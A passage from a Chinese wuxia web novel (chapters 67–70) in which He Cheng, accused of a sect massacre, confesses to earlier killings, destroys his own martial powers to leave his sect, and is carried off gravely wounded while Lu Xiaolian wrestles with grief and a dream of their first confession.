陆晓怜还来不及应话,站在人群最前面的凤鸣山掌门叶广更往前迈了一步,高声道:“晓怜侄女,没想到我们这么快又见面了。”叶广说话一向和气,即便是这样兵戈相对的场面,他也言语得体,令人如沐春风,“为了你这个师兄,你之前就大闹了琴剑山庄试琴会。如今他再度闯下大祸,你若是再偏袒他,恐怕要连累你们青山城,听我一句劝,把贺承交给孟阁主处置吧。” 这话每一个字都是在为青山城考虑,可不声不响地便把屠杀逐月阁的罪名扣到贺承头上。孟家两兄弟的生死都要算在贺承头上,把贺承交给孟岗,哪里还有活路? 陆晓怜急道:“不是我师兄!那日分明是孟元经先要杀我,师兄为了救我与孟元经交手是真,他们二人各有负伤是真,可师兄绝对没有伤他性命,更不可能造下逐月阁一百多口人的杀孽!” “贺承一人之力,确实难以屠戮满门,我看,是青山城搞的鬼吧!” “我听说,这位陆姑娘前一段刚刚把琴剑山庄闹了个底朝天。” “恐怕真有什么蹊跷?怎么可能这么巧?哪里出事,哪里就有他们青山城的人?” …… 人群里有人起了个头,一石激起千层浪,关于青山城的讨论,声音细碎,如同将一把细小的石子投入池中,涟漪一圈一圈扩散开去。涟漪触及堤岸,反射回来,人群中你一言我一语的质疑,圈圈层层,一池静水波澜暗生。 满池鼎沸一直持续到一个低沉沙哑的声音响起。 那声音属于孟岗,他开口说话,便犹如降下一场能冻结水面的暴雪,将所有蠢蠢欲动的讨伐都封冻在原地。 数月之前,陆晓怜在琴剑山庄就见过他。彼时他风仪严峻,气度不凡,与此刻一夜白头、被弟子小心搀扶的模样大相径庭。其实他并不需要说什么,只要在人群中一站,所有人都会心生恻隐。 没人知道孟岗的妻子是谁,有人说他明面君子暗中风流,年轻时流连花丛,有人说他严苛冷酷不苟言笑,气跑了媳妇……诸多猜测,无从查证,人们只是知道某一年,孟岗带着两个孩子回到逐月阁,不仅悉心栽培,更是开宗祠,将孟元经、孟元纬两兄弟的名字记入族谱。 当然,孟家两兄弟也没有辜负孟岗的期望,他们能文能武,是同辈人中的佼佼者,渐渐有人将他们称作“逐月双杰”。 只可惜,孟岗和整个逐月阁引以为傲的两个孩子,偏偏耀眼而短暂得如果流星,在最闪耀的时刻相继陨落。 一年不到的时间里,小儿子昏迷,大儿子丧命,对任何一位父亲而言都是致命一击。孟岗一夜之间老了几十岁,看上去已经是个虚弱得不堪一击的老人。 他颤巍巍地被扶到庄荣面前,全场的议论声霎时偃旗息鼓。所有人都屏着呼吸,听他用暗哑的声音质问庄荣:“我听说,那几日逐月阁外有青山城弟子频繁蹲守。庄荣,我想要个解释。” 孟岗是逐月阁阁主,是孟元经、孟元纬两兄弟的父亲。 没有人比他更适合要这个解释。 可庄荣并不觉得这是什么不能解释的事情。他回得坦坦荡荡:“当时元经将晓怜扣留在逐月阁不放人,要贺承到逐月阁接人这事,想必各位也清楚。我也有大半年没有贺承的消息了,所以才会急急忙忙赶来西江城,派弟子守在逐月阁外,交代他们见着他们师兄,就把人给我带回来,有什么问题吗?” “所以,他们是什么时候把贺承带回来的?” “当然不是他们带回来的。”庄荣觉得好笑,“后来孟少阁主在逐月阁中发难,贺承和晓怜能侥幸保下一条命就不错了,他们从逐月阁后山出走,仓皇逃命,自然没有遇到守在正门外面接他们的师兄弟。” “也就是说,并没有人知道贺承是什么时候离开逐月阁的,对不对?” 没有人知道贺承是什么时候离开逐月阁的。很有可能,贺承在逐月阁完成了屠杀,才潜入夜色中离开。 当然这只是猜测,没有人能证明贺承杀了人,同样,也没有人能证明贺承没有杀人。 “我是和师兄一同离开的。”陆晓怜知道孟岗想问什么,直截了当,“师兄身受重伤,是我陪着师兄从逐月阁后山逃出来的,那时元经哥还好好的,他还带着人阻拦我们,他不可能被我师兄所害!” 孟岗年事已高,遭逢此变故,反应迟钝不少,听见陆晓怜这样说,他暗自计较着她这话的可信度,比如孟元经为什么要杀陆晓怜?又为什么要重伤贺承?比如陆晓怜陪着贺承离开后,他是否还会只身折返痛下杀手? 扶着孟岗的那名弟子却忍不住开了口:“陆姑娘,这话别人说也便罢了,可谁不知 道你不分黑白地偏袒贺承?他在无涯洞外杀害兴剑师兄,连陆掌门都在那晚之后下落不明,你的父亲、你的兄长身受其害,你都不肯说他半句坏话,何况这回被害的是我们逐月阁!” 这话带了气性,说得很冲,却不无道理。 一直没有说话的叶广终于开了口,大有主持局面,平衡各方的意思:“晓怜,这位世侄说得有道理,你与贺承自小亲厚,应当避嫌,可还有什么别的人见到你们离开逐月阁时,元经还好好的?” “自然还有当日在场的逐月阁弟子。” “可当日在场的一百多号人,尽数惨死,已经开不了口。” “那——”陆晓怜稍稍迟疑,“那还有与师兄一同来救我的师弟。” 闻言,孟岗身旁的那位弟子红着眼道:“原来那日,你们还带了帮手!我就说,贺承再厉害,怎么可能以一人之力屠我逐月阁上百号人,原来并不是贺承一人所为,是你们整个青山城合力!” 一时,又是谈论声四起。 在那名逐月阁弟子的引导下,这一回他们讨伐的对象不再是贺承,而是这将近一年的时间里对贺承多加偏袒维护的青山城。 新事旧事叠到一起,关联呼应,一场又一场的风波犹如被云雾掩盖的青山,山峰兀自高耸的背后是连绵相接的山脉,所有事猝不及防地发生了,可所有事又似乎冥冥中相互关联。 明面上的关联显而易见,是贺承。 可是真的就只是贺承吗? 终于有人再次提起当初死在无涯洞外的陆兴剑和那一夜后下落不明的陆岳修。当时就是因为这两个人,大家都把青山城也作为那场惨剧的受害者,将所有罪责归到贺承身上,可是后来青山城对贺承的种种偏护,不免让人怀疑,从始至终,青山城都是与贺承站在一线的。 或者说,是此刻的青山城,与贺承站在一起。 那么,此刻由庄荣接管的青山城,当真还是从前的青山城吗? 不知是谁起头喊了一句:“庄前辈,我斗胆问一句,陆掌门是不是已经命丧于你与贺承手中?” 庄荣错愕地瞪大了眼:“我杀我师兄做什么?” “自然是为了青山城掌门之位。”另一个声音从人群里传出来,“陆掌门的儿子也死了,陆掌门的女儿被贺承哄得晕头撞向,正好下一任青山城掌门,也能落入你家。” 庄荣气得吹胡子瞪眼:“一派胡言!” “人人都知道贺承是你带回青山城,当个宝贝疙瘩养大的,很难不怀疑他是你年轻时惹下的什么风流债。” “什么风流债!我,我那是惜才!” “罢了,这是不足为外人道的私事。”叶广出声打断这一段无甚意义的争执,看向庄荣的目光有些纠结,“可是庄荣,陆掌门究竟是死是活,你总得给大伙一个交代。” “我爹自然是活着的!”陆晓怜笃定道,“前一段,我还见过我爹亲手写的信呢!” “信里写了什么?可有说明他为何许久不曾露面?” “信里写了——”陆晓怜脸色一沉,“这是我们青山城自己的事务,不便告知你们。” 许久没有说话的孟岗冷笑道:“青山城自己的事务?青山城不仅教徒无方,纵徒行凶,还一味偏袒维护,青山城若是这样处置自己的事务,便怪不得别人看不过眼,要插手替你们管管了。” 这话说得很重。 可逐月阁新丧,这话从孟岗口中说出来,又合情合理。 人群中不乏好事者,正想附和着也说上几句,却不想陆晓怜与庄荣身后的门轰然敞开,销声匿迹将近一年的贺承大大方方地站在那里:“逐月阁的事与我无关,这骂名,我背不得,青山城也背不得。” 第68章 第六十八章师门今日起,我不再是青…… 自打无涯洞外出了事,贺承便如一滴水融进大海里再无踪迹,各门各派都有人在找他,可除了陆晓怜,谁也没能找到他。这是将近一年的时间里,他第一次毫不遮挡地站到人前,坦诚相对。 众人不约而同地静默了一瞬,细细碎碎的声音四起。 孟岗冷哼:“贺承,既然你在这里,那新账旧账便一起来算。” “孟兄稍等,要算的账恐怕还不止这些。”叶广拦了拦孟岗,神色严肃地看向陆晓怜,“晓怜,你说你见过你父亲亲手所写的书信,能不能再仔细讲讲,你是什么时候收到那封信的?是谁送的信?” 陆晓怜颇为警觉,并不答话,反问:“叶伯伯这话是什么意思?” “陪孟兄赶来西江城的路上,我一直在想一件事。”叶广内功深厚,开口便是雄浑至极的声音,即便是没能挤进小院里的人,也能听到他的声音,“这一年里,青山城无涯洞外出过事,琴剑山庄试琴会上出过事,如今逐月阁里也出了事,中原江湖风雨飘摇,陆掌门不是作壁上观、明哲保身的人,怎么会一直没有露面?” 扶着孟岗的那位年轻逐月阁弟子反应快,当即明白过来:“除非陆掌门发生了什么意外,重伤?丧命?或者干脆是被什么人囚禁了起来?” “不错。”叶广点头,“于是我又顺着想下去,陆掌门黑白分明嫉恶如仇,若是此刻他在,青山城可还会放纵弟子胡作非为至此?或者说,会不会是因为他想要处罚什么人,才会落得至今下落不明的下场?” 这番话说得隐晦,琢磨过来和没琢磨过来的人原本各占了一半,直到他目光一转,犹如鹰隼般锐利地盯着庄荣,皮笑肉不笑地问他一句“庄荣,你觉得呢?”,那些没听明白话意的人才警觉暗涌的波涛。 庄荣也是这时候才反应过来叶广这是生生捏了个罪名出来往自己头上安,耸了耸肩,笑道:“你的意思是,贺承在无涯洞外伤了人,师兄要罚他,我偏袒他,和他一起联手害了师兄?” “我也只是猜测。”叶广笑笑,话锋一转,“但我记得那夜无涯洞外留有青山城掌门绝学断云掌的痕迹,我想,若非有人相助,贺承再厉害,也难逃自己师父的断云掌吧?怎么还能好端端地站在这里?” 确实,他本不该好端端地站在这里的。 断云掌是青山城只传掌门的绝学,掌风过处,劈山断云,不留活路,若陆岳修真心要杀人,贺承怎么可能在他的断云掌下活命? 自然,是有人替他死在断云掌下了。 想到无涯洞外血色凄迷的那一夜,贺承只觉得胸口有千万般情绪,憋闷得难受,又说不出口,几乎要将自己撑得炸开来。他本就苍白的脸色越发惨白,扣着门框的手指不自知地发力,手指抠进木质的门框里,木刺扎进指甲盖里,悄然渗出血丝来,萦在他苍白的指尖。 “师兄?”陆晓怜发觉贺承神色不对,往后退了半步去扶他,搭上他的肩膀,才发觉他罩在大氅里的身子正在发抖。她压低声音,担忧极了:“师兄,是不是难 受得厉害?你回屋里去,这里有我和师叔在呢。” 贺承轻拍了拍她搭在自己肩上的手:“寡不敌众,真要动手,还是我们吃亏。” “可你——” “小启走了几天了?” “嗯?”话题转得太快,陆晓怜不由愣了一愣,“安顿完钟晓就走了,有三日了。” “只有三日。”贺承轻轻叹了口气,“那恐怕是赶不上了。” 说罢,他借着陆晓怜的扶持,往前走了几步,在庄荣身旁站定,气定神闲地回答叶广的问题:“我没被师父的断云掌打死,分明有很多种可能性,比如我轻功好,躲过了师父的掌风,比如师父舍不得打死我,在最后一刻掌力卸去大半,叶前辈偏偏构想出来最不可能的一种,还硬要往我和师叔头上安,也不知道安的什么心。” 叶广抓住他话中的关键,追问:“所以,那日陆掌门确实在无涯洞外使了断云掌?” 这个问题一出,贺承的神经骤然紧绷起来。 之前虽也有人据此推断出事当晚,陆岳修曾经闻讯赶到,试图制止行凶的贺承。可无涯洞本就是青山城掌门闭关修炼之处,留有断云掌的痕迹也并不是什么不可解释的事情,这个说法渐渐也没人再提。 可这一回,叶广借着这个说法抛出个饵,贺承竟然自己上了钩。 贺承抿着嘴唇不答话,庄荣替他无理取闹:“我们青山城的地界,出现几道使过断云掌的痕迹怎么了?还不能在自家地盘上练功了不成?” “当然可以,可是贺承刚刚自己都说了,陆掌门的那一记断云掌是朝他打过去的。”叶广盯着贺承的眼睛,又问了一遍,“所以陆掌门那一晚确实在场,对不对?” 上一刻刚刚说过的话,实在是吞不回去。贺承回避着叶广的目光,不点头也不摇头。 叶广只作他是默认了,又接着问:“到底是因为什么事情,他甚至要用上断云掌?” 这个问题,贺承其实并不知道答案,可是当着这么多人的面,他需要提供一个答案。他轻轻推开陆晓怜扶在他手臂上的手,脚步虚浮地往前走了一步,平静道:“因为他看见我不仅杀了前来参加比武招亲的佼佼者,还杀了陆兴剑。” “小兔崽子,你在胡说什么!” 庄荣高声喝止,却见贺承回过头来看,先看了他一眼,又深深看了陆晓怜一眼,沉声道:“人确实是我杀的,我不希望任何人站上晓怜的擂台。你们不该信我的。” “可,可是——”陆晓怜的声音细弱,微微发着颤,她想问的事很多,却又不敢问得太深,怕一铲子下去,戳破了粉饰太平的保护层,不得不直面狰狞可怖的一地狼藉。 “你是想问,我为什么要杀大师兄吧?” 陆晓怜红着眼睛点头。 贺承深深吸了口气:“是失手误杀,他拦着我杀江非沉他们,我气急,失了分寸。” “只是失手吗?”陆晓怜情绪激动,胸口剧烈起伏,“那为什么凌云剑在大哥身上留下的伤口,是四人中最多的。” 贺承脸色煞白,乌黑的眼眸死气沉沉:“他明明知道我喜欢你,却要拦我,我恨他。” 仿佛在山头苦苦挣扎的一轮夕阳蓦然沉下去,铺天盖地的黑暗不可避免地罩下来,陆晓怜只觉得眼前一片昏黑,找不到方向,也等不到天亮。 她听见自己语气冰冷地问:“那我爹呢?” “师父听见动静赶来时,看到的便是一地尸体。他气急了要打我,临出手时又舍不得强行卸了掌力,反被反噬,我借机逃走,后来师父的去向,我便不知道了。” “你——”陆晓怜盯着贺承的眼睛,只觉得他的眼眸如一潭死水,又冷又静。 四下死寂,他们逼着他们两人不得不撕开遮挡的幕布,直面血淋淋的过往,这一刻不需要刀剑,每一个字,每一句话,都是比刀剑更利更冷的刃,直挺挺地冲心脏扎过去,不留余地。 陆晓怜咬着牙,声音发着抖,问贺承:“你有没有骗我?” 她不知道她想要什么答案。 他会骗她什么?是他不知道爹爹的去向,还是他亲手虐杀了大哥? 然而,贺承并没有让她纠结摇摆太久,他没有回避她的目光,极轻极轻地摇了下头,极轻极轻地说道:“没有骗你。对不起。” 陆晓怜往后退了半步,目光却还是紧紧追着贺承 她好像再次坠入水底,比如南州城外的那条不知名的江,比如百花谷里那方温暖的药泉,每一次都是贺承领着她浮出水面,重获生机。而这一次,她还是习惯性地依赖着他,事已至此,她竟还望着他,问他:“那现在,我们要怎么办?” 贺承没有回应她,只是转过身去面对其他人。 满院子都是人,有些是他认识的,有些是他不认识的,而此刻,所有人的目光都落在他的身上。他并不是第一次承接这么多目光,他十五岁时在凤鸣山三年一度的比武大会上拔得头筹时,有更多的目光落在他的身上。 那时,陆晓怜和庄荣也是在的吧。 不仅有陆晓怜和庄荣,陆岳修和陆兴剑也在,钟晓的眼睛也还能看得见,贺启也安安稳稳地坐在席间。 那时多好,所有人都待在一块儿,生机勃勃,热气腾腾。 “做过的事,我认,没做过的事,我绝不背这骂名。” 贺承挺直了脊背,纵使伤病缠身,依旧傲骨硬挺,一如多年前心高气傲的少年。 他的目光扫过孟岗,扫过叶广,扫过将他们围在此处逼成困兽的每一个人,平静道:“今时逐月阁屠杀与我无关,与青山城无关,但当日青山城无涯洞外的杀戮确是我所为。按青山城门规,以个人私怨残害江湖同道者,废其武功,逐出师门。师父至今下落不明,师叔只是代管城中事务,不能以掌门之名下令废我武功,我自己来。” “师兄!” “小承!” 陆晓怜与庄荣反应过来贺承要做什么时,已经来不及,只见贺承抬手飞快拍过周身几处大穴。抬手之间,披在肩上的大氅滑落,他仅着白色中衣,立于萧瑟风中,被他自伤的几处穴位有血无声地渗出来,将一身白衣染上点点红梅。 最后一掌,落在丹田。 此后,再无内息冲撞凤尾续魂针,纠缠在经脉脏腑中不可停歇的剧痛霎时荡然无存。 他六岁来到青山城,夏练三伏冬练三九,日复一日攒下来的一身功力,至此终究还是被化得干干净净。 经脉里已是空空荡荡,十几年焚膏继晷付之一炬时,甚至没有留下一抔灰土。 贺承再支撑不住,猛然跪倒在地,“哇”地喷出一大口血。 陆晓怜与庄荣早顾不得之前贺承说过什么,快步上前,扶住摇摇欲坠的贺承。 贺承挣扎着抬头死死盯着院中诸人,他的气色灰败得仿佛濒死,唇边染血,目光凌厉,如同地狱里攀上来的恶鬼:“今日起,我不再是青山城的弟子,你们,你们有仇有怨,只管来找我……我,我做了什么事,皆与青山城无关……” “师兄!”陆晓怜扶着浑身染血的贺承,手足无措。 内力散尽,新伤旧伤一齐袭来,贺承眼前一黑,脱力倒入陆晓怜怀中。他听着陆晓怜撕心裂肺的声音,勉力睁眼看她,边闷声咳着血,边无奈道:“别再叫师兄了,我,我都被逐出师门了……” 第69章 第六十九章匆促贺承是谁,谁又是贺…… 从西江城到湘城,快马加鞭地往返只要三日,若是想雇一驾马车稳稳当当地走,单程就得走上三四日。 心急的赶路人难免要陷入两难里,要快,又要稳。 可山路崎岖,世上哪得双全? 仓皇撤离西江城,即便八面来风如沈懿行也没法找到一驾称心的马车。在路边强买强卖扣下来的马车太小太简陋,坐不下几个人不说,最要命的是车身轻飘,走得不够稳,碾过一块石子,都晃得像是要散架似的。 偏偏,车上的人脆弱得像一捧被勉强攥实的雪,一颠,便要碎了散了。 可深秋初冬,天寒地冻,能有一片遮风的棚子已经是好的了。马车里层层叠叠地铺了毯子、大氅,为了暖和,也为了减少颠簸。 重伤中的贺承气色灰败,而陆晓怜的脸色也是苍白至极。马车最里侧、毯子铺得最厚的地方,陆晓怜盘腿坐着,一手将昏睡中的贺承稳稳护在怀中,一手抵在他的后心处,明明是亲密至极的相拥,可她脸上的神情与她的脸色一样,苍白,而冰凉。 陆晓怜当然知道贺承伤得很重,所有人都知道。 之前仗着一身内力强撑,贺承尚能禁得住奔波劳碌,如今他强行废了自己的武功,犹如抽掉了屋子里承重的大梁,一夕之间,广厦倾颓,将近一年时间里强压着的伤与毒一齐迸发,将人逼至绝路。 枕风楼算不得什么清白磊落的正派,多得是出其不意的手段,往院中人群里扔了几把化功软 筋的“扬州三月”,满院铮铮铁骨便化做江南三月里柔软的水,所有人只能眼睁睁看着枕风楼的人大大方方进来将贺承与青山城诸人接走。 沈懿行和贺启紧赶慢赶,没来得及拦下贺承自伤,但所幸还来得及接走奄奄一息的人。 人是接到了,可却未必能留得住。 他们踩着西江城的初雪离开,沈懿行嫌别人地盘不稳,走得太慢太晃,扯下披风裹住贺承,亲自背着他走。石鼓路细长,青石板上落了薄薄一层雪,沈懿行侧过头看无声靠在他肩头的人,只见那人半睁着眼,细小的雪籽落在他眉眼之间,竟没有立刻化去。 沈懿行恍恍惚惚想起许多年前他找到贺承时的场景…… 那年贺承多大,五岁?还是六岁?那年冬天湘城下了很大很大的雪,贺启年迈的爷爷死在那场罕见的严寒中,贺启不知是受了寒还是受了惊,隔天便发起了高烧,贺承将褴褛的衣裳都裹到贺启身上去,自己去雪地里将身子冻凉了,再回去将高烧的贺启搂在怀里,用自己的体温给贺启退热。 沈懿行见到贺承时,他几乎要冻僵,脸色发青,眼睫上已经凝了一层冰雪。沈懿行想带他找个地方取暖,他却不肯,趴在沈懿行背上,指挥着他深一脚浅一脚地踩过雪地去找他和贺启栖身的破庙,指着墙角里裹着一堆破布的贺启,只来得及说一句“救救我弟弟”,自己便倒了下去。 其实贺承已经把贺启保护得很好,至少沈懿行把兄弟二人送到医馆时,贺启被灌了两碗药便退了烧生龙活虎,而贺承寒邪入体,昏昏沉沉地躺了大半个月,险些没有熬过那一年湘城的严寒…… 这一回是在西江城,也是下着雪,贺承也是气息奄奄地趴在他肩上,甚至于,这一回,贺承彻底失去意识前,也同样挂碍着别人,同样用弱得只剩气音的声音求沈懿行:“替我……护着他们……” 十多年前的那场雪落下时,沈懿行只是个孩子,他在雪地里惊慌失措,因为他以为贺承会死;十几年后的这场雪落下时,沈懿行已经是枕风楼楼主,可他依旧在雪地里惊慌失措,因为他扣着贺承的手腕,竟没有摸到脉搏的跳动! “小承!”沈懿行猝然回头,满眼惊惶,“我,我摸不到他的脉。” 陆晓怜一言不发地跟在沈懿行身侧,闻言脸色一变:“怎么会?”心中再多纠结彷徨,在心爱之人生死面前都不值一提,她边伸手探贺承的鼻息,边问:“你是不是知道南门前辈在哪里?他们来了吗?” 沈懿行脚步微微一顿,欲言又止地看了陆晓怜一眼,只无声摇头。 “没事的。”陆晓怜脸色煞白,自顾自道,“师兄一息尚存,我以内力护住他的心脉,只要找到南门前辈,他一定会有办法的。” 沈懿行欲言又止,只轻若叹息地说一句:“先跟我回枕风楼吧。” 庄荣也一路紧紧跟着,看着贺承灰败的气色,讷讷道:“从西江到枕风楼,路程太远了……” 沈懿行眉间褶皱重重,开口却温和镇定:“路程虽远,但前辈、陆姑娘,还有我,我们轮着来,至少吊着小承一口气到枕风楼。”他看着贺承气色灰败的脸,不知是在安慰自己,还是在说给什么人听:“总会有办法的,之前伤得那么重,不也都挺过来了吗?” 陆晓怜心慌意乱,没顾得上仔细听沈懿行的后半句话,也便忘了追问,贺承什么时候还受过很重的伤?为什么沈懿行知道,她却什么也不知道? 沈懿行不愧是枕风楼楼主,很快让人想办法弄来了马车和马,连御寒用的毯子和大氅也满满当当铺了一车。马车小,坐不下几个人,除了贺承和钟晓两名伤员,最后只挤了陆晓怜和庄荣上去,其他人都顶着风雪骑马,连金波一个娇滴滴的小姑娘也不例外。 车轮辘辘,贺承在颠簸震荡中不时呛出血沫来,陆晓怜手忙脚乱地替他擦了唇边血迹,指背擦过他冰凉的脸颊,陆晓怜心中一团乱麻。 在逐月阁孟元纬的病床前,在西江城石鼓路的小院里,贺承不止一次承认过是他造下无涯洞外的杀戮,可是那日死伤在无涯洞的人,每一个都与他们关系匪浅,甚至将陆晓怜一手带大陆兴剑,那一夜也死在无涯洞外,死在贺承剑下,甚至她的父亲陆岳修至今下落不明兴许也与贺承有关! 所以,她应该恨他吗? 至少,不应该心疼他吧。 可为什么他散尽一身功力,呕血跪倒在人前时,她全无仇怨得报的快感?她只觉得自己的心被一股不知来处的力揪得剧痛,双腿不受控制地朝他奔去,与之前每一次一样,稳稳将他扶住—— 她不仅不能狠下心对他刀剑相向,甚至在他命悬一线之际,还是会忍不住伸出援手。 她不想让他死,她只是顺从着自己的心在做自己想做的事。 可是,如果他当真只为了那么一个啼笑皆非的理由残害同道,如果大哥当真是这样荒诞无稽地死在他手中,如果爹爹当真也因为他而发生意外,此刻不顾一切地救他的自己,又当如何自处? 陆晓怜尚不能纯熟掌握体内那股深厚的内息,思绪纷乱下,气息也跟着乱了,她心口一痛,脸色一白,偏头咳出一口血来。贺承岌岌可危的性命与陆晓怜密切相关,陆晓怜这边出了岔子,贺承那边自然也受波及,他单薄的胸口轻轻震颤着,刺目血色自他泛着青白死气的口唇间接连呛出来。 “师兄!” 陆晓怜心急,咬牙提气,要将一脉内息重新打入贺承后心,手腕却被庄荣握住:“丫头,你歇会儿,换我来。” “师叔,我……师兄他……”陆晓怜红着眼,惊惶地看着不住呕血的贺承,脊背发凉,语无伦次。 庄荣安抚地拍拍她的肩膀:“我知道,你心里事太多,歇会儿,我来。” 庄荣不由分说,将手掌抵上贺承后心,替了陆晓怜下来。陆晓怜退至一侧,却不肯调息小憩,握了一方帕子小心擦净贺承染血的唇,末了,只跪坐一旁,盯着贺承苍白若死的脸兀自发呆。 即便是性命垂危,脸色白如霜雪,她的师兄依然好看得过分。 这张轮廓流畅、眉目英挺的脸,陆晓怜自小看到大,本该熟悉至极,可此时此刻,她却觉得眼前的人陌生得令人害怕。 她怔怔地伸手,一寸一寸缓缓摸摸贺承的脸。 会不会和当初在南州城里遇见的“沈烛”一样,这张名为“贺承”苍白清俊的面孔下,还藏着另一个人?那个人是谁?他是善是恶? 如果这个世界都被一张虚假的面具覆盖着—— 贺承是谁,谁又是贺承? 她喜欢的人是谁,喜欢她的人又是谁? 陆晓怜苍白纤细的手指反复摩挲着贺承耳后的皮肤。他气血溃败已极,除了心口被内力强行护住的一抹温热,浑身都是冷的,陆晓怜将手指贴在他耳后,将他耳后的一块惨白的皮肤揉搓得发红,都没能摸到那时南州城外江河旁,生死一线间,摸到的那一道胶片面具与皮肤相接的细痕。 所以,眼前的贺承是真的,对吗? 所以,看生见长、陪着她将近二十年的贺承是真的,对吗? 所以,亲口承认在无涯洞外杀人的贺承也是真的的,对吗? 那么,杀死大哥,杀死江非沉,杀死叶飞白的人真的就是贺承了,是吗? 陆晓怜定定看着贺承,忽然身子一颤 ,“哇”地喷出一大口血,凄厉艳色落满贺承衣襟,她摇摇晃晃,像是寻找归处的落叶,轻飘飘落进贺承怀里。 第70章 第七十章梦魇陆晓怜知道自己在做梦…… 陆晓怜知道自己在做梦,可是她看着笑吟吟站在自己面前的陆岳修和陆兴剑,不敢轻举妄动,害怕一不小心惊醒了这场美梦。 梦中的陆晓怜置身于青山城。 准确来说,这是她十六岁生辰那日的青山城。 被青山城上下捧在手心里长大的小姑娘,十六岁生辰自然盛大无比。所有人都在场,连日理万机的几大门派掌门人也拖家带口地来,不少陆晓怜已经多年不见的儿时玩伴又聚到一起,所有人都开心极了。 女孩子长到十六岁要行及笄之礼,陆晓怜的亲生母亲龙吟仙子林音早逝,及笄礼上,是凤鸣山掌门叶广的夫人颜缪用林音留下来的一支碧玉簪子替陆晓怜挽起了头发。 颜缪扶着陆晓怜的肩膀,细细打量着她,黑亮的秀发乌云般盘在脑后,露出少女光洁的脸颊饱满的额头。她温温柔柔地笑着,将一缕碎发捋到陆晓怜耳后:“此后就是大姑娘了,生得这样好看,青山城的门槛定是要让人踏破了,陆掌门可有得愁了。” 陆晓怜好像听懂她的话,又好像听不懂,朝人群里的贺承浅浅望了一眼,正发现他清亮的目光直勾勾落在自己身上,陆晓怜只觉得脸颊微微发着烫。 那时他们都还小,各自心中都暗浮着一段不可名状的情愫,欲说还休,怕被人知道,又怕一直都没人知道。 颜缪的那句话是引蛇出洞的饵,令少女与少年间心有灵犀的缄默摇摇欲坠。他们赫然发现,此前所有默然相望终会了无痕迹,于是,无数次卷到舌尖、又被仓促咽下的那一句掷地有声的肯定,蠢蠢欲动。 那日所有人都高兴,免不得要喝酒。 陆晓怜年纪小,酒量也浅,很快便上了头,晕晕乎乎地飘荡在人群里,像只被风刮得昏头转向的小蝴蝶。宾客太多,陆岳修和陆兴剑忙着迎来送往,忙着推杯换盏,将陆晓怜送回后院的事自然而然落在贺承头上。 陆晓怜生在秋季的最后一个月。她过生辰的这一日,秋高气爽,秋月无边,月华广阔无垠,与盛宴中的煌煌灯光映照着青山城,什么都无处遁形。 无论是应邀而来的宾客,还是青山城里的师兄弟,都在宴席上喝酒吃肉。贺承护着陆晓怜往青山城深处起居的院落走,一开始还零零星星地遇见几个师兄弟同他们打招呼,越往后走,便越是静谧。 他们一路无话,并肩踏过得闲堂前的七十二级青石台阶,踩着满地窸窣作响的落叶翻过空无一人的西风坡,站在陆晓怜居住的晚晴院外,四目相对,半晌无言。 终于,贺承忍不住,笑着斜眼看陆晓怜:“你刚刚为什么偷偷看我?” 陆晓怜的脑子被酒水搅成一锅浆糊,抬起头茫然地看着贺承。偷偷看他?她又不是只偷偷看他一眼,她哪里知道,他说的是哪一眼? “叶夫人为你行及笄礼之后,你看了我一眼,为什么?” 那已经是晚宴之前的事情了,喝了酒的陆晓怜昏昏沉沉记不分明,可贺承神志清明,目光炯炯。他微微低下头,盯着陆晓怜,不留情面地复述那时的场景:“叶夫人夸你好看,说日后提亲的人定要踏破青山城的门槛。”说到这里,他终于再忍不住,笑容里露出一点揶揄,一点得意:“然后,你就偷偷看了我一眼。” 深秋的夜风本是冷的,可此刻什么风落到陆晓怜脸上,都吹不散升腾而起的红晕。 她躲开贺承的目光,低头去看地上的影子,偏偏地上的人影离得那么近,她细细的一条影子,几乎被贺承吞噬了去,看上去,就像是两条影子的主人拥抱在了一起。 于是,她不敢再看不敢再想,仓促抬头,再次撞进贺承眼中。 “晓怜。”那时的贺承鲜少用这样严肃正经的语气喊她,他的声音和眸光里都藏着小心翼翼的期盼,也都被夜风吹得有些发颤,他问她,“你能不能,无论谁来,你能不能都不要答应?” 贺承语无伦次,怨不得酒后的陆晓怜没回过神:“嗯?” 话已经说到这一步,总不能又不明不白地咽回去。陆晓怜不知道贺承那时是怎么想的,她只记得那夜贺承看向她的目光明亮而灼热,几乎要在她脸上烫出个洞来,少年的喉结反复滚动着,一如他忐忑的心。 最终,那句堵在心口噙在唇边的话,还是被说了出来。 贺承说:“你应该知道的,我喜欢你,这么些年,我只喜欢你。” 陆晓怜只是微醺,这样直白的话,她不至于听不明白。她仰着头看贺承,看柔白的月光将眼前唇红齿白的少年映得分外英挺,笑眯眯地回应他:“我知道啊,所以我没有去喜欢别的人。” 而后,是水到渠成的拥抱。 在过去的十几年里,贺承也不是没有抱过她,横着竖着,她连他的肩膀都骑过,可这一次的拥抱,与过去的每一次都是不同的。 他说,他只喜欢她,他会一直一直只喜欢她。 从此,她便可以放心的,也只喜欢他。 然而,下一刻,变故陡生。 陆兴剑的声音如利剑从陆晓怜身后猛然刺出:“松开我妹妹,谁允许你喜欢她的?” 陆晓怜心下一沉,一股莫名的寒意蹿上脊背。她仿佛知道即将要发生什么,双手紧紧环着贺承肩膀:“师兄,你不要听,不要管,我会一直跟你在一起的。” 可她的声音很快被又一波议论声压过去。 她紧紧拉着贺承,抽不出精力回头,可是她知道站在她身后的人有谁—— 江非沉、孟元纬、叶飞白…… 他们讨论着青山城独家心法“青山遮”,他们讨论着爹爹为她设下的那场比武招亲的擂台,他们甚至讨论着与她朝夕相伴的贺承别有居心…… 谈话声与地上被踏碎的落叶一样纷乱。 陆晓怜从贺承怀里抬头去看他的脸色,只觉得他的目光冷如霜雪。他的手也是冷的,却比他的眼温柔,轻轻覆过她的眼睫,轻声道:“乖,闭上眼,我们会一直在一起的。” 可是陆晓怜没有听话。 她自始至终睁着眼,透过他指掌间的缝隙,恍然看见泠泠剑光与灼灼血红…… “师兄,不要——” 陆晓怜自梦魇中猝然睁眼,什么青山城,什么晚晴院,梦魇中的一切荡然无存,也包括贺承手起剑落的一地狼藉。 醒了醒神,陆晓怜才发现自己已离开颠簸摇晃的马车,此刻安安稳稳地躺在一张雕花繁复的架子床上。她不动声色暗自调息,发觉丹田中内力充盈,暂且松下一口气,拥着被子坐起身,正要探头细看自己究竟置身何地,便觉察有人听见动静蹬蹬蹬跑了过来。 这段日子过得太过动荡,先被扣在逐月阁,再被围困于西江城,此刻在陌生房间里醒来,陆晓怜心生戒备,听见脚步声逼近,她暗暗蓄力于掌中,以防万一,直到听见来人脆生生的一句“你终于醒了”,终于心下一松,将掌心里的暗劲尽数卸去。 来人是金波。 